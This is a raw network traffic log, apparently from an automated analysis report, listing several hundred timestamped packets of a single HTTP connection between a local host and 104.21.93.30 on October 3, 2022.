Oct 3, 2022 17:34:54.134555101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134581089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134598970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134609938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134624958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134640932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134668112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134681940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134695053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134727955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134747028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.134784937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.134808064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148003101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148051023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148077011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148101091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148124933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148128986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148149967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148170948 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148178101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148201942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148205996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148231983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148256063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148272991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148281097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148303986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148307085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148333073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148358107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148375034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148384094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148400068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148411989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148437977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148463011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148479939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148488045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148504019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148515940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148540974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148561954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148565054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148591042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148617029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148634911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148643970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148658991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148710966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148737907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148763895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148781061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148788929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148802042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148816109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148842096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148857117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148868084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148894072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148919106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148931026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148943901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148953915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.148969889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.148994923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149005890 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149020910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149046898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149072886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149087906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149097919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149111032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149123907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149162054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149717093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149744987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149770021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149791956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149795055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149821997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149847031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149871111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149872065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149885893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.149971008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.149998903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150022984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150041103 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150049925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150064945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150078058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150103092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150127888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150130033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150154114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150166035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150181055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150206089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150230885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150249958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150258064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150271893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150286913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150315046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.150353909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.150521040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151034117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151063919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151087046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151088953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151115894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151141882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151155949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151166916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151177883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151194096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151220083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151232958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151246071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151273966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151299000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151319027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151323080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151345015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151350975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151376963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151405096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151428938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151429892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151448965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151456118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151490927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151516914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151527882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151545048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151572943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.151585102 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.151609898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152112007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152139902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152164936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152164936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152180910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152190924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152218103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152240992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152265072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152266979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152291059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152293921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152360916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152388096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152405977 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152415037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152429104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.152442932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152466059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.152483940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.154906034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.156156063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.188599110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.188648939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.188739061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.188905954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.188939095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.188967943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.188991070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.188998938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189009905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189029932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189063072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189086914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189120054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189122915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189146042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189151049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189182043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189213037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189224958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189244032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189255953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189275980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189307928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189327955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189338923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189369917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189399004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189412117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189429998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189441919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189462900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189552069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189555883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189587116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189610958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189634085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189652920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189682961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.189693928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.189734936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190006971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190037012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190068007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190099001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190112114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190131903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190165997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190193892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190222025 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190224886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190264940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190294981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190314054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190327883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190336943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190360069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190391064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190423965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190437078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190457106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190466881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190488100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190521002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190536976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190561056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190582037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190604925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.190644979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.190658092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191154957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191194057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191224098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191251993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191270113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191278934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191301107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191322088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191345930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191374063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191375971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191404104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191406965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191431999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191446066 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191461086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191488981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191517115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191531897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191543102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191565037 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191570997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191598892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191626072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191648960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191656113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191673994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191679001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.191699982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.191879034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192051888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192251921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192297935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192308903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192336082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192378044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192384958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192414999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192445040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192478895 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192481995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192522049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192559958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192569017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192596912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192632914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192642927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192668915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192677975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192706108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192743063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192749023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192780018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192816019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192826986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192857027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192883968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192919016 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.192922115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192961931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.192998886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193010092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193037987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193350077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193380117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193406105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193425894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193434000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193459988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193487883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193501949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193512917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193525076 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193538904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193557978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193578005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193603039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193610907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193631887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193636894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193660975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193687916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193701982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193711042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193726063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193737984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193759918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193777084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193783045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193808079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193830967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193846941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.193856955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.193871975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194039106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194067955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194104910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194402933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194499969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194530010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.194556952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.194556952 CEST	80	49702	104.21.93.30	192.168.2.7
